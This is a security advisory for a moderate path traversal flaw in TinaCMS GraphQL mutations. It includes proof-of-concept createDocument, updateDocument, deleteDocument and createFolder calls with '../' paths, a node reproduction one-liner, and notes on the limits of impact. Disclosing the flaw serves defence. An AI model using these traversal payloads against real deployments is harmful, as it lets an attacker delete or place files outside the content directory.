TinaCMS allows users to create, update, and delete content documents using relative file paths (relativePath, newRelativePath) via GraphQL mutations. Under certain conditions, these paths are combined with the collection path using path.join() without validating that the resolved path remains within the collection root directory.
Because path.join() does not prevent directory traversal, paths containing ../ sequences can escape the intended directory boundary.
File Creation: Create files outside the collection directory
createDocument(
collection: "post"
relativePath: "../../config/malicious.md"
params: { post: { title: "malicious" } }
)
File Move/Rename: Move existing files outside the collection
updateDocument(
collection: "post"
relativePath: "existing.md"
params: { relativePath: "../../stolen.md" }
)
File Deletion: Delete files outside the collection
deleteDocument(
collection: "post"
relativePath: "../../important-config.md"
)
Folder Creation: Create folders outside the collection
createFolder(
collection: "post"
relativePath: "../../malicious-folder"
)
An authenticated user with document mutation permissions can:
Several constraints limit the practical impact of this vulnerability:
Schema Validation: Created/updated content must conform to the collection's GraphQL schema. Attackers cannot write arbitrary file content—the params argument is validated against the generated mutation types (e.g., PostMutation).
Authentication Required: Exploitation requires authenticated access with CMS editor permissions. Anonymous users cannot access GraphQL mutations.
Git Tracking: In typical deployments, all file operations are tracked in git (either via GitHub API for Tina Cloud/self-hosted with GitProvider, or local filesystem changes). Malicious changes are visible in version control and can be reverted.
See packages/@tinacms/graphql/tests/path-traversal-security/index.test.ts for automated tests demonstrating the vulnerability.
Manual reproduction:
node -e "
const path = require('path');
const collectionPath = 'content/posts';
const maliciousRelativePath = '../../OUTSIDE/poc.md';
const realPath = path.join(collectionPath, maliciousRelativePath);
console.log('Resolved path:', realPath);
// Output: OUTSIDE/poc.md (escaped content/posts)
"
{
"severity": "MODERATE",
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T17:50:28Z",
"nvd_published_at": "2026-03-12T17:16:39Z"
}